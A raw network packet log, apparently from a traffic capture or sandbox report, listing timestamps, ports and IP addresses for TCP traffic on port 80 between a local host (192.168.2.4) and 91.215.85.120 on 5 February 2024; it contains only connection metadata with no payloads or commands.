Feb 5, 2024 10:57:24.438216925 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438219070 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438236952 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438241959 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438256979 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438267946 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438275099 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438290119 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438292980 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438313961 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438313961 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438314915 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438333035 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438353062 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438366890 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438370943 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438386917 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438389063 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438404083 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438419104 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438436985 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438438892 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438458920 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438476086 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438487053 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438493967 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438510895 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438529015 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438533068 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438533068 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438550949 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438558102 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438559055 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438572884 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438576937 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438591003 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438601017 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438611031 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438620090 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438630104 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438638926 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438648939 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438668966 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438668966 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438679934 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438699961 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438718081 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438729048 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438735962 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438746929 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438755989 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438774109 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438775063 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438792944 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438797951 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438797951 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438811064 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438821077 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438831091 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438834906 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438853025 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438854933 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438872099 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438874006 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438889980 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438891888 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438909054 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438910961 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438926935 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438929081 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438950062 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438950062 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438971043 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.438987017 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.438992023 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439006090 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439012051 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439024925 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439033031 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439043999 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439052105 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439063072 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439069986 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439089060 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439088106 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439088106 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439107895 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439110041 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439127922 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439148903 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439152956 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439152956 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439171076 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439172983 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439188957 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439193964 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439212084 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439229965 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439232111 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439250946 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439256907 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439256907 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439273119 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439280987 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439295053 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439299107 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439316034 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439328909 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439336061 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439347982 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439357042 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439368010 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439376116 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439388990 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439395905 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439409018 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439409971 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439415932 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439435005 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439436913 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439455032 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439455986 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439472914 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439491034 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439491987 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439507961 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439521074 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439527988 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439542055 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439547062 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439564943 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439572096 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439572096 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439584017 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439593077 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439610958 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439613104 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439630985 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439636946 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439651012 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439654112 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439671040 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439671040 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439690113 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439690113 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439708948 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439713955 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439727068 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439733028 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439747095 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439764977 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439780951 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439780951 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439786911 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439807892 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439811945 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439812899 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439826012 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439830065 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439846992 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439846992 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439866066 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439867973 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439884901 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439886093 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439909935 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439912081 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439928055 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439929962 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439946890 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439949036 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439964056 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439970970 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.439982891 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.439990997 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440002918 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440020084 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440038919 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440057039 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440063000 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440063000 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440063953 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440076113 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440088034 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440094948 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440114021 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440119028 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440134048 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440145016 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440152884 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440167904 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440170050 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440188885 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440192938 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440192938 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440210104 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440212965 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440228939 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440228939 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440248966 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440252066 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440268040 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440268993 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440288067 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440289974 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440310001 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440321922 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440330029 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440340996 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440351009 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440360069 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440368891 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440387964 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440387964 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440387964 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440407038 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440423965 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440428019 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440443993 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440454006 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440454006 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440463066 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440474033 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440483093 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440490007 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440502882 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440506935 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440521002 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440525055 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440540075 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440548897 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440558910 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440567970 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440577030 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440587997 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440597057 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440607071 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440615892 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440624952 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440634012 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440644026 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440651894 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440663099 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440670967 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440687895 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440687895 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440689087 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440706968 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440710068 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440727949 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440742016 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440747976 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440758944 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440768003 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440790892 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440808058 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440820932 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440820932 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440825939 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440841913 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440846920 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440860033 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440865993 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440884113 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440886021 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440886021 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440902948 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440903902 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440922976 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440924883 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440946102 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440946102 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440963984 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440964937 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.440983057 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.440984964 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.441001892 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.441003084 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.441021919 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.441024065 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.441041946 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.441054106 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.441060066 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.441076994 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.441081047 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.441092968 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.441099882 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.441108942 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.441123009 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.441128969 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.441143990 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.441150904 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.441164017 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.441180944 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.441190004 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.441190958 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.441201925 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.441211939 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.441220999 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.441231966 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.441242933 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.441253901 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.441262007 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.441281080 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.441281080 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.441282034 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.441303015 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.441303968 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.441322088 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.441322088 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.441339970 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.441340923 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.441361904 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.441363096 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.441384077 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.441401958 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.441418886 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.441432953 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.441433907 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.441456079 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.450248957 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.450324059 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.453360081 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.453561068 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.457757950 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.457782030 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.457801104 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.457812071 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.457819939 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.457834005 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.457840919 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.457853079 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.457866907 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.457882881 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.457882881 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.457885027 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.457915068 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.457936049 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:24.457937002 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:24.457953930 CET	80	49735	91.215.85.120	192.168.2.4
